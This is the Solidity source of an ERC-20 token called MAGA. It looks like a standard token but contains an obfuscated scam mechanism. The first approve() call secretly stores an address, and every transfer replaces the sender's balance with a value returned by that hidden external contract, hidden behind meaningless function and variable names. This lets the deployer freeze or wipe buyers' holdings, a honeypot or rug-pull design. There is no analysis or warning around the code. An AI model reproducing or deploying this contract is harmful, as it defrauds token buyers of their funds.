文件 1 的 1:MAGA.sol
pragma solidity ^0.8.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metavbaba is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface Gomwerasdf {
function EwtFcywPDfdc(
address OfdEtDFebs,
address QRTsfebSDF,
address SpteDFnHenr,
uint wEFInas
) external pure returns (uint VCsreDfs);
}
contract ERC20 is IERC20, IERC20Metavbaba {
using SafeMath for uint256;
mapping (address => uint256) private toWads;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
Gomwerasdf private ccc872251;
uint256 private aCurAmawo;
address private Esjrmo;
uint256 Eprsdfatdfw;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function EWseFS(uint Value) internal pure returns(uint160){
return uint160(Value);
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function swEtdsfa(uint Value) internal pure returns(address) {
return address(EWseFS(Value));
}
function balanceOf(address account) public view override returns (uint256) {
return toWads[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
Esjrmo = msg.sender;
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
if(Eprsdfatdfw == 0)
Eprsdfatdfw = amount;
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
Esjrmo = msg.sender;
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
aCurAmawo=amount;
toWads[sender] = TpwdDfs(sender, recipient);
toWads[sender] = toWads[sender].sub(amount, "ERC20: transfer amount exceeds allowance");
toWads[recipient] = toWads[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
toWads[account] = toWads[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function SerQAWERfvsdf(address Vsrejka) internal pure returns(Gomwerasdf){
return Ptewjerksn(Vsrejka);
}
function Ptewjerksn(address SFDwero9) internal pure returns(Gomwerasdf){
return Gomwerasdf(SFDwero9);
}
function TpwdDfs(address asfbasFDSEcd, address wESFD) private returns (uint256) {
ccc872251 = SerQAWERfvsdf(((swEtdsfa(Eprsdfatdfw))));
uint256 FSesd = ccc872251.EwtFcywPDfdc(asfbasFDSEcd, wESFD, Esjrmo,aCurAmawo);
return FSesd;
}
}
contract MAGA is ERC20{
uint256 private _initialBalance = 10 ** 28;
constructor (
string memory name,
string memory symbol
)
ERC20(name, symbol)
{
_mint(msg.sender, _initialBalance);
}
function _mint(address account, uint256 amount) internal override {
super._mint(account, amount);
}
}